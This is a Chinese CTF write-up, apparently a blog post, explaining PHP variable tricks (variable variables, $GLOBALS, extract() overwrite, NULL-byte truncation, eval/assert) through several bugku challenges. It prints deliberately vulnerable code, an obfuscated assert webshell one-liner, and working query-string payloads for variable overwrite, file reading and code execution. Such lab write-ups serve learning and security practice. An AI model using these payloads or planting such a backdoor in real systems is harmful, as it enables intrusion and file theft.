CTF-WEB:PHP 变量

特殊的变量

可变变量

一个可变变量 “$$” 获取了一个普通变量的值后,用这个值作为这个可变变量的变量名。一个美元符号表示提取变量中的值,而 2 个连续的美元符号表示用某个变量的内容作为变量名,再来访问该变量。例如以下代码:

<?php
$a = "b";
$b = "c";
$c = "a";

echo $a;      //输出 b
echo $$a;      //输出 c
echo $$$a;      //输出 a
?>

超全局变量

PHP 的 $ GLOBALS 是一个超全局变量,它引用全局作用域中可用的全部变量。变量时一个包含了全部变量的全局组合数组,变量的名字就是数组的键。有时候当 flag 隐藏在某个变量中时,可以考虑从 GLOBALS 中得到。

变量覆盖

extract() 函数从数组中将变量导入到当前的符号表。使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素将在当前符号表中创建对应的一个变量。extract() 函数也可以将 GET 传入的数据进行转换,例如:

<?php
$a = false;
extract($_GET);
if($flag)
{
      echo "flag{}"
}
?>

此时变量 a 已经被定义了,但是在 extract() 函数转换 GET 方法传入的数据时,传入的 a 在转换时就会把原来的变量覆盖掉。

NULL 截断

PHP 是基于 C 语言实现的,因此 PHP 在底层使用了一些 C 语言的字符串处理函数。在遇到 NULL(\x00) 字符时,处理函数会把该字符当做结束标记,这就可以在遍历结尾处去除不想要的字符。例如这段代码包含的文件名后面会被强行加上字符 'text.html',使得我们不能够直接包含文件。但是我们可以在文件名后面加个 % 00 字符来截断,这样后面的字符就会被忽略了。

$file = $_GET['file'];
include $flie.'text.html';

不过这个漏洞在新版本的 PHP 中已经被修好了,很少会用到。

eval() 函数和 assert

eval() 函数可以把把字符串当成 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。语法如下:

eval(phpcode);    //phpcode 参数必需,规定要计算的 PHP 代码。

与之功能相似的是 assert 断言,assert 是个宏,不过为了好理解可以先把它当做和 eval() 函数一样的东西,即可以执行括号内的代码。

例题:bugku-变量 1

打开网页,可以直接看到源码。

flag In the variable !  <?php

error_reporting(0);    // 关闭php错误显示
include "flag1.php";    // 引入 flag1.php 文件代码
highlight_file(__file__);
if(isset($_GET['args'])){    // 通过get方式传递 args变量才能执行if里面的代码
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){    // 匹配任意大小写字母和 0 到 9 以及下划线组成
        die("args error!");
    }
    eval("var_dump($$args);");      //var_dump() 函数用于输出变量的相关信息
}
?>

因为这里有个 preg_match() 函数,它会通过正则表达式匹配字符串,因此不能使用其他的漏洞。根据提示 flag 藏在一个变量之中,观察到代码中有“$$”的可变变量用法。

也就是说,此时不需要去猜测 flag 藏在那个变量中,因为知道了变量名,有了“$$”也不能直接访问。现在需要知道保存 flag 的变量是哪个变量的值,因为 var_dump() 函数可以输出变量,如果变量是个数组也可以,例如:

<?php
$args = array(1, 2, 3);
var_dump($args);
?>

则数组 args 中的内容都可以被输出来,因此该函数也能把 “$GLOBALS” 中的内容都输出来。因此我们只需要把 GLOBALS 传递过去就行,构造 payload:

?args=GLOBALS

例题:bugku-extract 变量覆盖

源码如下,flag 变量已经被定义了,如果用 GET 传入的变量中存在一个名叫 shiyan 的字符串,则将 flag 变量的值赋给 content 变量,如果变量 shiyan 和变量 content 的值相同就输出 flag 的值。

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    {
          echo'flag{xxx}';
    }
    else
    {
          echo'Oh.no';
    }
}
?>

此时 flag 变量被赋值成什么值我们不得而知,所以现在的想法是把 flag 变量覆盖掉。由于 extract() 函数可以将所有 GET 方法传入的数据全部换成变量,因此可以在传入 shiyan 变量时也传入一个 flag 变量。构造 payload 提交到指定网页,提交获得 flag。

?shiyan=&flag=

例题:bugku-Web 8

源码如下,注意到代码中使用了 extract() 获取了系列参数,考虑使用变量覆盖的手法。根据对源码的分析,变量 f 的值来自于变量 fn 表示的文件,当变量 ac 等于变量 f 的值时输出 flag。注意这里的判断使用的是 “===”,而且变量 ac 不能为空。

<?php
extract($_GET);
if (!empty($ac))
{
    $f = trim(file_get_contents($fn)); 
    if ($ac === $f)
    {
        echo "<p>This is flag:" ." $flag</p>";
    }
    else   
    {
        echo "<p>sorry!</p>";
    }
}
?>

根据提示 “txt????” 我们猜测可能还有某个 txt 文件能为我们所用,根据经验这个文件可能是 flag.txt。访问 flag.txt 文件,得到这个文件的内容是 “flags”。

接下来就可以解题了,我们可以覆盖变量 fn,fn 的值为 flag.txt,这样 f 变量的值经过 file_get_contents() 文件提取函数之后的值应该为 “flags”。接着我们让 ac 的值也为 “flags”,这样就同时满足 ac 不为空且等于变量 f 了。综上所述,构造 payload:

?ac=flags&fn=flag.txt

例题:bugku-本地包含

题目的源码如下,观察到代码将提取一个 REQUEST 变量,这个变量时 HTTP Request 变量,默认情况下包含了 GET、POST 和 COOKIE 的数组。

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");      //var_dump() 函数可以输出变量的类型和值
    show_source(__FILE__);
?>

除了利用 eval() 函数和使用 PHP 伪协议,还可以直接把 flag.php 导入到 hello 变量中直接显示出来。

hello=file("flag.php")

例题:bugku-过狗一句话

首先先认识下下 explode() 函数,函数可以使用一个字符串分割另一个字符串,并返回由字符串组成的数组。函数语法和参数如下:

explode(separator,string,limit)
参数 说明
separator 必需,规定在哪里分割字符串
string 必需,要分割的字符串
limit 可选,规定所返回的数组元素的数目
例如以下代码:
$str = 'one,two,three,four';
print_r(explode(',',$str));

输出的结果为:

Array
(
    [0] => one
    [1] => two
    [2] => three
    [3] => four
)

源码如下,观察到有一个 explode() 函数,也就是说字符串 poc 将会被切割为一个数组。

<?php
    $poc = "a#s#s#e#r#t";
    $poc_1 = explode("#",$poc);
    $poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_GET['s'])
?>

此处稍微有点不好理解,变量 poc_2 是由 5 个字符拼接成的字符串 “assert”。此时注意看最后一行的写法,“$” 符号提取 poc_2 中的值,后面接上代码等同于使用了 assert 函数。

assert($_GET['s'])

注意这里括号内的代码是用 GET 方法传入的变量 s 中的内容,也就是说我们可以将一段代码赋给 s 来执行。我们怀疑 flag 藏在网页目录下的一个文件中,因此可以使用 scandir() 函数来获取目录下的所有文件,然后带上输出函数看看。

?s=print_r(scandir('./'))


这里可以看到 flag 所在的文件了,访问之后获得。

posted @ 2020-08-19 01:31  乌漆WhiteMoon  阅读(1692)  评论(0编辑  收藏  举报